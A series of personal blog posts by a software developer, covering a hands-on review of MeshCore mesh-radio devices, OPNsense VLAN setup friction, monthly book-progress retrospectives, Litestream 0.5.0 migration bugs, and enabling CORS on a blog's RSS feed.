The Seeed T-1000e uses a custom USB cable for charging and flashing.

I used the web flasher for the Heltec, but I decided to try flashing the T-1000e directly from source:

git clone https://github.com/meshcore-dev/MeshCore.git

# Latest firmware version at the time I tested.
FIRMWARE_VERSION='companion-v1.9.0'
git checkout $FIRMWARE_VERSION

I use Nix, and the repo conveniently has a default.nix, so the dependencies installed automatically with direnv. I then flashed the firmware for the T-1000e like this:

# Specify the device settings, from variants/t1000-e/platformio.ini.
DEVICE_SETTINGS='t1000e_companion_radio_ble'
pio run \
 --environment $DEVICE_SETTINGS \
 --target upload \
 --upload-port /dev/ttyACM0

From there, I paired the T-1000e with my phone, and it was basically the same as using the Heltec. The only difference was that the T-1000e has no screen, so it defaults to the Bluetooth pairing password of 123456. Does that mean anyone within Bluetooth range can trivially take over my T-1000e and read all my messages?

It also seems impossible to turn off the T-1000e, which is undesirable for a broadcasting device. The manufacturer advises users to just leave it unplugged for several days until the battery runs out.

Update: MeshCore contributor Frieder Schrempf just fixed this in commit 07e7e2d, which is included in the v.1.11.0 MeshCore firmware. You can now power off the device by holding down the button at the top of the T-1000e.

Testing the Lilygo T-Deck

Now it was time to test the Lilygo T-Deck.

This was the part of MeshCore I’d been most excited about since the very beginning.

If I handed my non-techy friends a device like the T-1000e, there were too many things that could go wrong in an actual emergency. “Oh, you don’t have the MeshCore app? Oh, you’re having trouble pairing it with your phone? Oh, your phone battery is dead?”

The T-Deck looked like a 2000s era Blackberry. It seemed dead-simple to use because it was an all-in-one device: no phone pairing step or app to download. I wanted to buy a bunch, and hand them out to my friends. If society collapsed and our city fell into chaos, we’d still be able to chat on our doomsday hacker Blackberries like it was 2005.

This is not a Blackberry

As soon as I turned on my T-Deck, my berry was burst. This was not a Blackberry at all.

As a reminder, this is what a Blackberry looked like in 2003:

A Blackberry smartphone in 2003

Before I even get to the T-Deck software experience, the hardware itself is so big and clunky. We can’t match the quality of a hardware product that we produced 22 years ago?

Right off the bat, the T-Deck was a pain to use. You navigate the UI by clicking a flimsy little thumbwheel in the center of the device, but it’s temperamental and ignores half of my scrolls.

Your browser does not support the video tag.

Good news: there’s a touchscreen. But the touchscreen misses half my taps:

Your browser does not support the video tag.

There are three ways to “click” a UI element. You can click the trackball, push the “Enter” key, or tap the screen. Which one does a particular UI element expect? You just have to try all three to find out!

Your browser does not support the video tag.

Sidenote: Putting the Lilygo T-Deck+ into DFU mode for flashing

I had a hard time even finding instructions for how to reflash the T-Deck+. I found this long Jeff Geerling video where he expresses frustration with how long it took him to find reflashing instructions… and then he never explains how he did it!

This is what worked for me:

Disconnect the T-Deck from USB-C.
Power off the T-Deck.
Connect the T-Deck to your computer via the USB-C port.
Hold down the thumbwheel in the center.
Power on the device.

Confusingly, there’s no indication that the device is in DFU mode. I guess the fact that the screen doesn’t load is sort of an indication. On my system, I also see dmesg logs indicating a connection.

Messaging with the T-Deck

Once I figured out how to navigate the T-Deck, I tried messaging, and the experience remained baffling. For example, guess what screen I’m on here:

What does this screen do?

If you guessed “chat on Public channel,” you’re a better guesser than I am, because the screen looks like nothing to me. Even when it displays chat messages, it only vaguely looks like a chat interface:

Oh, it’s a chat UI.

I encountered lots of other instances of confusing UX, but it’s too tedious to recount them all here.

The tragic upshot for me is that this is not a device I’d rely on in an emergency. There are so many gotchas and dead-ends in the UX that would trip people up and prevent them from communicating with me.

Testing MeshCore in the field

Even though the T-Deck broke my heart, I still hoped to use MeshCore with a different device.

I needed to see how these devices worked in the real world rather than a few inches away from each other on my desk.

T-1000e to Heltec from 1 mile away

First, I took my T-1000e to a friend’s house about a mile away and tried messaging the Heltec back in my home office. The transmission failed, as it seemed the two devices couldn’t see each other at all from that distance.

Okay, fair enough. I’m in a suburban neighborhood, and there are lots of houses, trees, and cars between my house and my friend’s place.

T-1000e to Heltec from a few blocks away

The next time I was riding in a car away from my house, I took along my T-1000e and tried messaging the Heltec v3 in my office.

One block away: messages succeeded.

Three blocks away: still working.

Five blocks away: failure.

And then I was never able to reach my home device until returning home later that day.

T-Deck to T-1000e from a few blocks away

Maybe the issue is the Heltec? I keep trying to leave the Heltec at home, but I read that the Heltec v3 has a particularly weak antenna.

I tried again by leaving my T-1000e at home and taking the T-Deck out with me.

I could successfully message my T-1000e from about five blocks away, but everything beyond that failed.

Do I need a repeater?

The other part of the MeshCore ecosystem I haven’t mentioned yet is repeaters.

The SenseCAP Solar P1-Pro, a solar-powered MeshCore repeater

MeshCore repeaters are like WiFi extenders. They receive MeshCore messages and re-broadcast them to extend their reach.

Repeaters are what create the “mesh” in MeshCore. The repeaters send messages to other repeaters and carry your MeshCore messages over longer distances.

There are some technologically cool repeaters available. They’re solar powered with an internal battery, so they run independently and can survive a few days without sun.

The problem was that I didn’t know how much difference a repeater makes. A repeater with a strong antenna would broadcast messages well, but does that solve my problem? If my T-Deck can’t send messages to my T-1000e from six blocks away, how is it going to reach the repeater?

By this point, my enthusiasm for MeshCore had waned, and I didn’t want to spend another $100 and mount a broadcasting device to my house when I didn’t know how much it would improve my experience.

Inspecting MeshCore’s source code

MeshCore’s firmware is open-source, so I took a look to see if there was anything I could do to improve the user experience on the T-Deck.

The first surprise with the source code was that there were no automated tests. I wrote simple unit tests, but nobody from the MeshCore team has responded to my proposal, and it’s been about two months.

From casually browsing, the codebase feels messy but not outrageously so. It’s written in C++, and most of the classes have a large surface area with 20+ non-private functions and fields, but that’s what I see in a lot of embedded software projects.

Another code smell was that my unit test calls the toHex function, which encodes raw bytes to a hex string.

// Create a test input.
uint8_t input[] = {0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF};
char output[HEX_BUFFER_SIZE(input)];

// Call the function we're testing.
Utils::toHex(output, input, sizeof(input));

// Verify that toHex encoded our bytes correctly.
EXPECT_STREQ("0123456789ABCDEF", output);

MeshCore’s toHex implementation depends on headers for two crypto libraries, even though the function has nothing to do with cryptography. It’s the kind of needless coupling MeshCore would avoid if they wrote unit tests for each component.

My other petty gripe was that the code doesn’t have consistent style conventions. Someone proposed using the .clang-format file that’s already in the repo, but a maintainer closed the issue with the guidance, “Just make sure your own IDE isn’t making unnecessary changes when you do a commit.”

Why? Why in 2025 do I have to think about where to place my curly braces to match the local style? Just set up a formatter so I don’t have to think about mundane style issues anymore.

Wait, MeshCore isn’t open-source?

I originally started digging into the MeshCore source to understand the T-Deck UI, but I couldn’t find any code for it. I couldn’t find the source to the MeshCore Android or web apps either.

And then I realized: it’s all closed-source. All of the official MeshCore client implementations are closed-source and proprietary.

Reading the MeshCore FAQ, I realized critical components are closed-source.

What!?! They’d advertised this as open-source! How could they trick me?

And then I went back to the MeshCore website and realized they never say “open-source” anywhere.

I must have dreamed the part where they advertised MeshCore as open-source.

It just seems like such an open-source thing that I assumed it was. But I was severely disappointed to discover that critical parts of MeshCore are proprietary.

Without open-source clients, MeshCore doesn’t work for me.

Update (2026-01-13): There is now an unofficial open-source client.

I’m not an open-source zealot, and I think it’s fine for software to be proprietary, but the whole point of off-grid communication is decentralization and technology freedom, so I can’t get on board with a closed-source solution.

Some parts of the MeshCore ecosystem are indeed open-source and liberally licensed, but critically the T-Deck firmware, the web app, and the mobile apps are all closed-source and proprietary. The firmware I flashed to my Heltec v3 and T-1000e is open-source, but the mobile and Android apps (clients) I used to use the radios were closed-source and proprietary. As far as I see, there are no open-source MeshCore clients aside from the development CLI.

Product	Open-source?	Free to use?
MeshCore radio firmware	Yes	Yes
MeshCore protocol	Yes	Yes
Web-based MeshCore firmware flasher	Yes	Yes
Official Android / iOS MeshCore apps	No	Yes, but some features are paywalled
Official MeshCore web app	No	Yes, but some features are paywalled
T-Deck MeshCore firmware	No	Yes, but some features are paywalled

Summary

Final thoughts

I still love the idea of MeshCore, but it doesn’t yet feel practical for communicating in an emergency. The software is too difficult to use, and I’ve been unable to send messages farther than five blocks (about 0.3 miles).

I’m open to revisiting MeshCore, but I’m waiting on open-source clients and improvements in usability.

What I like about MeshCore

It is incredibly cool to send text messages without relying on a big company’s infrastructure.
The concept delights the part of my brain that enjoys disaster prep.
MeshCore runs on a wide variety of low-cost devices, many of which also work for Meshtastic.
There’s an active, enthusiastic community around it.

What I dislike about MeshCore

All of the official MeshCore clients are closed-source and proprietary.
- Update (2026-01-13): There is now an unofficial open-source client
The user experience is too brittle for me to rely on in an emergency, especially if I’m trying to communicate with MeshCore beginners.
Most of the hardware assumes you’ll pair it with your mobile phone over Bluetooth, which introduces many more points of failure and complexity.
The only official standalone device is the T-Deck+, but I found it confusing and frustrating to use.
There’s no written getting started guide.
- There’s a FAQ, but it’s a hodgepodge of details without much organization.
- There’s a good unofficial intro video, but I prefer text documentation.

Add a VLAN to OPNsense in Just 26 Clicks Across 6 Screens

Mon, 17 Nov 2025 00:00:00 +0000

How many clicks does it take to add a new VLAN to an OPNsense firewall?

Nothing fancy. Just your regular, basic VLAN with its own IPv4 range.

How many clicks should that take? Maybe two or three? Five if we’re real wild?

Every time I add a new VLAN to OPNsense, the process feels strangely tedious, so I decided to measure exactly how many clicks it takes to add a simple VLAN to my firewall.

Your browser does not support the video tag.

The result was:

26 clicks
71 keystrokes
6 distinct screens / dialogs
3 distinct workflows

And that’s before I even assign any firewall rules!

I could have traded some of those clicks for keystrokes with the Tab key, but I tried to match my everyday process.

Why is this so tedious?

There are so many steps in the process where I just want to ask OPNsense, “Why couldn’t you have figured this out on your own?”

Every time I add a VLAN to my OPNsense router, I have to say, “Actually, I’d like it on my LAN interface, not the random, disconnected interface you chose by default because its name is first alphabetically”:

Don’t make me type prefixes for you

If I dare enter an arbitrary VLAN name, OPNsense whines and insists I prefix the name with vlan:

You gave me an arbitrary input field, OPNsense! If you want a special prefix, add that on your end. Don’t conscript me to type your prefixes for you.

And speaking of typing prefixes for you, when we get to DHCP assignments, if I try to leave the start and end range blank, you give me four separate errors:

And again, in both the “from” and “to” fields, I have to type out 192.168.10. even though OPNsense knows that’s the only valid prefix I can enter. Why can’t you do that for me, OPNsense? Better yet, default to the full subnet range so I don’t have to type anything.

Why is this three separate workflows?

If you didn’t have the patience to sit through the whole video, I actually have to go through three separate workflows to create one standard VLAN:

Create the VLAN device.
Create a VLAN interface assignment for that device.
Configure DHCP for that interface.

But it’s all the same VLAN? Why isn’t it just one screen? Or at the very least, a single, continuous flow rather than forcing me to go scour the whole OPNsense settings tree for the next workflow.

What is my ideal VLAN creation flow?

Why can’t the VLAN creation flow just be a single dialog with two questions?

And then OPNsense can:

Assume I want to enable the VLAN I just created.
Assume that the VLAN is for my LAN port.
Assume I want to create a static IP range for it where the tag number is the third octet (e.g. 192.168.10.0/24).
Assume that I want to enable DHCP and use all available IPs in the /24.

I’m happy for all the other options to be under an “Advanced” section, but why not just use sensible defaults?

Every guide I can find for setting up VLANs in OPNsense uses these settings, so why not just default to them?

Is the web UI helping at this point?

OPNsense is meant to be a friendly UI wrapper around FreeBSD utilities, most notably the pf firewall and the Unbound DNS server.

I’m grateful to OPNsense for helping me escape the ecosystem of closed-source, buggy home firewalls that Linksys puts out, and I’ve been a paying licensee for four years.

But I’m thinking it might be time for me to leave the nest and run OpenBSD or FreeBSD directly with some simple scripts to do what I want. It doesn’t seem too hard to run one of those OSes and create a script like this:

$ ./add-vlan --name='guest' --tag=10
Created VLAN "guest" with tag 10 and IP range 192.168.10.1 to 192.168.10.254

Refactoring English: Month 11

Fri, 07 Nov 2025 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I’m running late on my book.
A great blog post inspired me to think more about convenience shell scripts.
The game Oxygen Not Included is fun.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Set up editing discounts for readers who have read the book

Result: Created a page explaining discounts
Grade: A

I created the page, but I’m intentionally not advertising it as a perk of early access. My goal is to work with people who are already enthusiastic about the book rather than entice new customers. I’m revealing the discount here in this retrospective because if you’re interested enough in my work to read these monthly updates, you’re also the kind of person I’d like to take on as a freelance editing client.

There have been no freelance editing customers since I doubled my standard rate and added a discount for early access customers, but that’s actually fine. I’ve had more writing output as a result, and I’d like the numbers to work out so that if freelance editing pulls me away from writing, the financial compensation makes me feel like it’s a good tradeoff.

Create a list of early access customers to reach out to

Result: Created a list of 63 customers I can contact
Grade: A

I keep setting a goal to reach out to more readers one on one. I realized there was a lot of friction to finding customers to reach out to, so I simplified my goal to just create a list of customers that are a good match for me to reach out to, according to these criteria:

Their email address isn’t Gmail/Yahoo/Hotmail or another email-only domain.
The domain name from their email address serves a real website.

Basically, I’m looking for readers whose websites I can look at to allow me to say something unique and personal to them. I reached out to three customers based on this list. Two of them responded, including one who subsequently attended last month’s live session. I suspect the personalized email was a factor in their attendance. So, I continue to get positive results on this 1:1 outreach; I just need to do it more.

Publish a new chapter of the book

Result: I published 2.5 new chapters
Grade: A

I published “How to Get Meaningful Feedback on Your Design Document,” “Verbs Drive the Sentence,” and “Stay Positive.” The design docs one is technically half a chapter, as I plan to expand it for the actual book with more details about what goes into a design doc.

“How to Get Meaningful Feedback on Your Design Document” was my biggest whiff in a while, getting almost no traction anywhere I posted it. I wasn’t 100% confident it would land, but I thought it had a 90% shot. Design doc writing was one of the top topics readers were interested in, so I expected there to be more of an audience for this.

Refactoring English metrics

Metric	September 2025	October 2025	Change
Unique visitors	7,283	22,398	+15,115 (+208%)
Revenue from pre-orders	$484.71	$570.75	+$86.04 (+18%)
Revenue from consulting	$429.60	$0.00	-$429.60 (-100%)
Revenue from sponsors	$48.25	$48.25	$0.00 (0%)
Total Revenue	$962.56	$619.00	-$343.56 (-36%)

Visitors to the website in October were the highest they’ve been since my big Kickstarter blitz in March. There were 22.3k unique visitors. Of those, 93% came through “The Software Essays that Shaped Me,” the article I published last month that I felt didn’t come out as I’d hoped.

I wish pre-orders scaled a bit more linearly with visitors, but I’m still happy that my blog posts bring new readers to my book.

I’m running late

When I started writing the book, I felt confident I’d be done by October 2025. I announced that the book would be done by December, just to give myself some padding, but I doubted I’d need it.

Well, it turns out, I need it and then some.

Back in May, I wrote down estimates of how much writing time I expected each chapter to take. Six months later, how accurate was I? I underestimated the effort by about 40%.

I originally thought I’d finish the book in 114 hours, but my current estimate (after 99 hours of writing) is 157 hours, meaning I think I’ll need another 58 hours to finish.

I also estimated that I could write the book for five hours per week, but that was incorrect as well, as 99 hours over six months works out to about 3.8 hours per week.

I generally can only write for a maximum of an hour per day. I can write for longer, but my productivity goes way down, so I feel like my second hour of writing is about 20% as productive as the first. I can sometimes squeeze in a second hour in the afternoon, but that’s rare.

I also didn’t take into account regular occurrences that prevent me from getting a good writing session in:

Non-book writing
- e.g., blog posts, retrospectives, notes
Childcare change-ups
- Our family normally helps out with childcare, but if someone is sick or unavailable, and we can’t find a replacement, my wife or I take time off to cover.
Freelance editing work
- I find it hard to do both in the same day.
Sick days
Time off
Days where I can’t get motivated to write

If I assume I keep going at a rate of around 3.8 hours per week, my remaining 58 hours of writing should take 15.3 weeks, which brings me to mid-February 2026. For padding, I’m going to say I’m aiming to finish the book by the end of March 2026.

I feel more confident about the timelines for the remaining chapters. Early chapters of the book like “Get to the Point” (about writing compelling introductions) are challenging because I have to formalize and refine a thought process that’s mushy in my head. But topics like my personal writing process or hiring an editor are easier to explain because they’re concrete actions I take rather than how I think.

Recommendations

Evan Hahn’s convenience scripts

The best article I read last month was Evan Hahn’s “Scripts I wrote that I use all the time.” Evan shares several scripts he’s written to make his life easier as a developer. My favorites were:

copy: Read from stdin and store it in the system clipboard.
- I’m embarrassed to admit I never thought to do this. I’ve always copied from the terminal with my mouse like a savage.
pasta: Print from the system clipboard to stdout.
pastas: Watch the system clipboard and print to stdout every time it changes.
- The first time I read the post, I overlooked just how clever this script is.
- You can run pastas | wget --input-file=/dev/stdin in one terminal and then in a browser, just keep copying URLs to your clipboard, and the pastas command will download every URL you copy without you having to switch back and forth.
emoji: Search for emoji by text. Like emoji cool prints out all the emoji that are associated with the idea of “cool.”

So many of Evan’s scripts were great ideas that I immediately adopted.

More importantly, I liked the meta-idea of Evan’s post: developers should think about scripts that remove friction from their typical workflows. It also expanded my perception of what could even be a script. Like emoji, I wouldn’t have thought to make a script because I don’t have a list of every emoji and a description, but after reading Evan’s post, I realized I could have generated the list the same way Evan did.

It inspired me to add a chat script to my path to ask questions to a locally-hosted LLM. I often find myself going to the web browser to look up semantics for command-line tools, so I can instead stay on the command line and just type it to chat:

#!/usr/bin/env bash

# Read prompt from command-line arg.
PROMPT="$1"

# Add implicit context for the prompt.
PROMPT+=' Assume a Linux OS.'
PROMPT+=' Prefer command-line tools.'
PROMPT+=' Optimize for the simplest possible response.'
PROMPT+=' If there are multiple methods, show me the simplest one.'
PROMPT+=' If possible, show me just a code snippet with no additional explanation.'

# Use a default LLM model but allow the user to override it.
MODEL="${MODEL:-llama3.2:1b}"

ollama run $MODEL "$PROMPT"

For example, I used it yesterday to remember how to resize an image:

Your browser does not support the video tag.

It’s super fast! That prompt completed on my system in 265ms, so it’s much faster than me switching to a browser, searching, clicking for an answer, then switching back to my task.

Evan’s companion article, “Why ‘alias’ is my last resort for aliases” dovetails well with his scripts, as it argues that putting convenience scripts in a folder under your PATH (e.g., under ~/.local/bin) affords you more flexibility than using shell aliases.

Oxygen Not Included

I’m not an active gamer, but I buy one computer game per year. I typically only play each game for 10-20 hours before I get bored, but I consider the $15-50 I spend to be good value for 10-20 hours of entertainment. Some games, I get really into and play for 25-100 hours (Stardew Valley, XCOM2, Cypberpunk 2077).

Oxygen Not Included has been on my mind for almost a year since I saw Andrew Kelly and Mitchell Hashimoto talking about how much they love it. Andrew Kelly declared it so good at teaching systems thinking that it should be its own required course in elementary school.

My space colony in Oxygen Not Included

I started playing Oxygen Not Included in October, and it’s really fun. I’ve seen it compared to Factorio and Rimworld, but I’ve never played those games. The game it most reminds me of is Stardew Valley, specifically the farming part of the game. In both games, you’re trying to build a system that produces something. In the beginning, you have rudimentary tools that force you to do a lot of tasks manually, but as you progress, you get more powerful tools that allow you to automate more of the work and scale up productivity.

The biggest challenge of Oxygen Not Included is that it’s hard to learn. There are in-game explanations of some concepts, but a lot of stuff, I’ve had to learn from trial and error. There are YouTube tutorials, but they’re bizarrely long. Like, you eventually get to a point where you can build plumbing, but I didn’t understand how it worked, so I looked up tutorials on YouTube, and they’re all 60+ minutes! But it’s because they’re explaining some super complicated version of plumbing that scales to a million, when all I want to do is build one toilet.

The best tutorial I’ve found so far is this written guide by a player named Jahws.

If you’re a good Oxygen Not Included player, tell me the dumb things I’m doing with my colony.

Wrap up

What got done?

Published “How to Get Meaningful Feedback on Your Design Document,”
Hosted a live video session for Early Access readers about design docs.
Published two new chapters: “Verbs Drive the Sentence” and “Stay Positive.”
Published “Hold Off on Litestream 0.5.0”
Published “Read My Blog With JavaScript”

Lessons learned

I can’t write my book for five hours per week.
- I can easily do five hours in a week where I’m only writing my book, but there are many potential interrupts and competing priorities.

Goals for next month

Publish two new book chapters.
Reach out to 10 readers.
Create a tool or blog post that brings people to the Refactoring English website.

Hold Off on Litestream 0.5.0

Tue, 14 Oct 2025 00:00:00 +0000

Litestream is an open-source tool that backs up SQLite databases to cloud storage in real time. I love it and use it in all of my projects.

Litestream is owned by Fly.io, and they paused development on Litestream for almost two years in favor of an alternative project called LiteFS. Two weeks ago, Ben Johnson, Litestream’s creator and lead developer, announced that they were shifting focus back to Litestream and had just published a new release, 0.5.0.

I tried out Litestream 0.5.0, but I caution other Litestream users to give it another release and more extensive testing before deploying it in production. I had a bumpy experience migrating to the new version of Litestream.

Update: Litestream 0.5.1 is now available and fixes most (but not all) of the issues I encountered.

Update 2 (2025-10-17): Litestream 0.5.2 wraps up all the bugs I ran into, so I plan to roll it out to my SQLite-based apps.

Note: I’m not complaining about Litestream. I love Litestream, and I’m glad to see renewed development. I’m just hoping to save other Litestream users from running into the same bugs I’m hitting.

The expected migration work

There are two tasks that are intentional in upgrading from previous versions of Litestream to v0.5.0 and above:

The backup format has changed, so Litestream 0.5.0 cannot restore from backups created in previous versions of Litestream.
The litestream.yml configuration file format has changed slightly. There used to be an array field called replicas, but 0.5.0 changes this to a dictionary called replica (singular).

Litestream has published a helpful migration guide with more details.

One of the benefits of Litestream 0.5.0 is that there’s now an official litestream Docker image. (Edit: Reader placardloop points out that the Docker image is not new; I just never noticed it.) All of my previous Docker containers required a lot of boilerplate to download the correct version of Litestream and make it available in my container, but now it reduces to a single Dockerfile line:

COPY --from=litestream/litestream:0.5.0 /usr/local/bin/litestream /app/litestream

My test migration to Litestream 0.5.0

To test out Litestream 0.5.0, I tried deploying it on my project, What Got Done. This is a good project for testing because:

I already announced that I was shutting down this service, so users have stopped using the site.
The server kept failing due to a bug in Litestream 0.3.13 that was fixed in 0.5.0.

Uploading to Backblaze backends no longer works

To start the migration, I downloaded the latest copy of my data using Litestream 0.3.13 and then tried to use Litestream 0.5.0 to upload it back to Backblaze’s cloud storage in Litestream’s new format. But I hit this error:

error" db=store.db replica=s3 error="write ltx file: s3: upload to db/0000/0000000000000001-0000000000000001.ltx: operation error S3: PutObject, resolve auth scheme: resolve endpoint: endpoint rule error, Custom endpoint `s3.us-west-002.backblazeb2.com` was not a valid URI"

The same replica definition had worked in previous versions, so I was a bit puzzled.

access-key-id: ${LITESTREAM_ACCESS_KEY_ID}
secret-access-key: ${LITESTREAM_SECRET_ACCESS_KEY}
dbs:
 - path: ${DB_PATH}
 replica:
 url: s3://${LITESTREAM_BUCKET}/db
 endpoint: ${LITESTREAM_ENDPOINT}

I tried several alternative ways of specifying the Backblaze S3 endpoint, but Litestream rejected them all as configuration errors before even attempting to back up. The configuration I had was the only one that Litestream accepted as valid configuration, but it failed to back up.

I filed Backblaze replica fails with “Custom endpoint … was not a valid URI” #789, and Litestream developer Cory LaNou fixed it the next day.

Now that I was able to upload data to Backblaze in Litestream’s new format, I was unblocked from integrating Litestream 0.5.0 into What Got done.

`-if-replica-exists` disappeared

I deployed Litestream 0.5.0 to What Got Done, but the server failed to boot with this error:

flag provided but not defined: -if-replica-exists

I checked the command documentation, and it said that -if-replica-exists was still supported:

$ litestream restore -help | grep if-replica-exists --after-context=1
 -if-replica-exists
 Returns exit code of 0 if no backups found.

It turns out that the flag was removed by mistake and will be back in 0.5.1.

Restore fails with `transaction not available`

Undeterred by the loss of -if-replica-exists, I removed it from my start script. But then my server failed to start with a new error:

level=ERROR msg="failed to run" error="cannot calc restore plan: transaction not available"

That turns out to match this open Litestream issue, with an alarming severity of “CRITICAL - Complete Data Loss”:

CRITICAL: Restore fails with ’nonsequential page numbers’ after checkpoint during Litestream downtime #752

Litestream no longer creates directories

At this point, I was just willing to try anything to get back up and running, so I ran the latest bleeding edge version of Litestream by building it from source in my Docker container.

Fortunately, the latest version got around whatever transaction not available issue I was hitting, and Litestream made it further in the process!

Unfortunately, there was still one error to overcome:

level=ERROR msg="failed to run" error="create temp database path: open /app/data/store.db.tmp: no such file or directory"

This one was actually simple enough that I had a pretty strong suspicion about what was happening. In previous versions of Litestream, if I told it to restore a SQLite database to /app/data/store.db and the /app/data path didn’t exist, Litestream would attempt to create it before writing the file.

I checked the source and saw that the folder creation logic had disappeared in this code flow, but it was simple enough to fix, so I created a fix:

Create parent directory on replica restore #793

Success!

With my fork of Litestream with the final mkdir fix applied, What Got Done was back up and running!

Reflections

I was able to get Litestream 0.5.x working with a pre-release fork, but I’m going to hold off deploying it to my other projects for another release or two. The 0.5.0 changes seem to have been more disruptive than the Litestream folks expected, and they’re still struggling with some serious bugs:

And there are several other serious bugs that they’ve fixed in the development version but are ~~not yet in a production release~~ (Update: these are now fixed in 0.5.1):

Note: Again, this is not a criticism of Litestream. Streaming replication is hard to do correctly, and what they’re doing is way more robust than what I’d be able to produce. I’m grateful to the Litestream team for responding to bug reports and fixing issues so quickly.

Read My Blog With JavaScript

Fri, 10 Oct 2025 00:00:00 +0000

You can now read my blog with client-side JavaScript. I’m not sure why you’d want to, but you can.

Maybe you want to add a blogroll to your site with a list of recent posts from your favorite blogs, but you don’t want to fetch them server side. If you wanted to use JavaScript to show my five most recent post titles, you’d write some code like this:

fetch("https://mtlynch.io/index.xml")
 .then((response) => response.text())
 .then((str) => new DOMParser().parseFromString(str, "application/xml"))
 .then((data) => {
 const articles = [...data.querySelectorAll("item")].map((item) => ({
 title: item.querySelector("title").textContent,
 date: new Date(item.querySelector("pubDate").textContent),
 }));

 // Sort articles by date, newest to oldest.
 articles.sort((a, b) => b.date - a.date);

 // Print the titles of the 5 most recent articles.
 articles.slice(0, 5).forEach((article) => console.log(article.title));
 });

The above code produces this output:

Refactoring English: Month 10
Get xkcd Cartoons at 2x Resolution
List of 2x-resolution xkcd Cartoons
I Once Appeared in The Old New Thing
Refactoring English: Month 9

I got the idea from a recent comment Simon Willison made on Lobsters.

How do I let JavaScript read my site?

The only thing I had to change to enable JavaScript access was to set Cross-Origin Resource Sharing (CORS) HTTP headers for my RSS feeds. Typically, the thing that prevents other sites from reading each other’s content with client-side JavaScript is same-origin policy.

Same-origin policy says that each site (origin) can only read resources associated with its own domain. So, if you visit my blog at mtlynch.io, and I have JavaScript that tries to read your bank balance from chase.com, same-origin policy forbids JavaScript on my page from accessing that information.

To allow other websites to read my blog through JavaScript, I had to set CORS headers for my blog’s RSS feeds. This blog is a static site that I currently host on Netlify, so I had to change my Netlify configuration file to specify CORS headers for my RSS feed URLs:

[[headers]]
 for = "/index.xml"
 [headers.values]
 Access-Control-Allow-Origin = "*"
 Access-Control-Allow-Methods = "GET, HEAD, OPTIONS"
 Access-Control-Allow-Headers = "Content-Type"

What could go wrong?

CORS is a security mechanism, and I’m always appropriately hesitant to relax security restrictions on an Internet-facing site. But I spent a while considering the risks, and I don’t see any meaningful risk in my situation.

Can an attacker exfiltrate secret data?

The purpose of same-origin policy is that if a user has sensitive data on site A, then site B can’t access any of it unless site A explicitly gives permission.

My blog is a static site with no secret information. When I visit mtlynch.io, I see the exact same thing everyone else does. So, even if an attacker convinces me to run malicious JavaScript on a third-party site, the code can’t abuse my privileges on my blog because I don’t have any special privileges here.

I do use TalkYard for embedded commenting, and I have admin privileges there, but CORS settings for my RSS feeds don’t affect TalkYard.

Can an attacker DDoS me?

At first, I thought an attacker might abuse CORS settings to launch a DDoS attack against my site. What if the attacker gets millions of people to visit a page that has JavaScript in the background to constantly request my RSS feed?

Then, I realized such a DDoS attack is already possible. CORS only controls whether a third-party domain can read the results of a request, but it doesn’t block the request in the first place. Any domain can make GET and POST requests to any other domain, regardless of CORS settings.

Can an attacker impersonate my site?

Another attack I considered is impersonation. A visitor can go to evil.example.com, and the server there could send back JavaScript that reconstructs my blog in the visitor’s browser even though the URL bar still says evil.example.com.

This attack could work, but there are simpler ways to impersonate my blog, regardless of my CORS settings. An impostor can run an HTTP proxy that forwards requests to my blog, which is a simpler way to impersonate my blog. Or, they could just scrape my site and host it somewhere else.

Why allow JavaScript to read my blog?

Nobody asked me to enable CORS for my RSS feeds, so I don’t know that it actually benefits anyone. But I enjoy the open web and this is an interesting way to allow other sites to interoperate with mine, so I figured why not?

If you end up doing anything interesting with my RSS feeds as a result of this change, let me know.

Refactoring English: Month 10

Tue, 07 Oct 2025 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I’m experimenting with low-investment, low-payoff-style blog posts.
I’m adjusting my strategy for freelance editing to work specifically with people who have read my book.
My intuition was way off about the odds of reaching the front page of Hacker News.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Publish something that attracts new readers to the Refactoring English website

Result: Published “The Software Essays that Shaped Me”, which attracted 16k readers in the first three days
Grade: B+

I did complete this successfully, but I spent too long on the post and felt somewhat underwhelmed with my final result.

Publish a new chapter of Refactoring English

Result: Didn’t publish anything new
Grade: F

I wrote a first draft of a new chapter but didn’t publish it. I ended up spending more time than I planned on “The Software Essays that Shaped Me” and freelance editing clients.

Write personalized emails to 20 readers I haven’t spoken to before

Result: Emailed two new readers
Grade: D

I was going to write this off and say that I’m not learning anything new anymore by reaching out to customers. Then, a few days ago, I heard back from a reader I’d reached out to who said he used what he learned from my book to get an article on the front page of Hacker News for the first time. So, that was pretty indisputably valuable and tells me I should be doing more of this.

I brainstorm more about this below.

Refactoring English metrics

Metric	August 2025	September 2025	Change
Unique visitors	2,863	7,283	+4,420 (+154%)
Revenue from pre-orders	$312.63	$484.71	+$172.08 (+55%)
Revenue from consulting	$0.00	$429.60	+$429.60 (+inf%)
Revenue from sponsors	$48.25	$48.25	$0.00 (0%)
Total Revenue	$360.88	$962.56	+$601.68 (+167%)

September had a nice bump in website visitors and pre-orders. I’d like to get to the point where there’s a virtuous cycle of readers referring other readers, but I don’t think I’m there yet. Still, nice to make almost $1k for the month.

Experimenting with bunts

In baseball, a bunt is when you hold the bat in the ball’s path rather than swinging the bat. The upside is that you’re less likely to miss, but the downside is that you won’t hit the ball very far. The best you can hope for with a bunt is making it to first base, but a bunt is almost never going to be a home run.

Most of my blog posts are “swing for the fences” posts. I put in a lot of effort because I want to reach #1 on Hacker News, reddit, or search results.

The problem is that my “swing for the fences” posts take me about a month to write, so if I’m publishing blog posts as I write my book, I’d have to put my book on hold for a month every time I write a blog post.

I’ve been thinking about whether I could do some “bunt” posts instead. That way, I can only put my book on hold for a week rather than the whole month.

I don’t want to take a topic that deserves a lot of care and just do a lazy version of it. Rather, I want to take a topic that’s easy to cover and just see how it does.

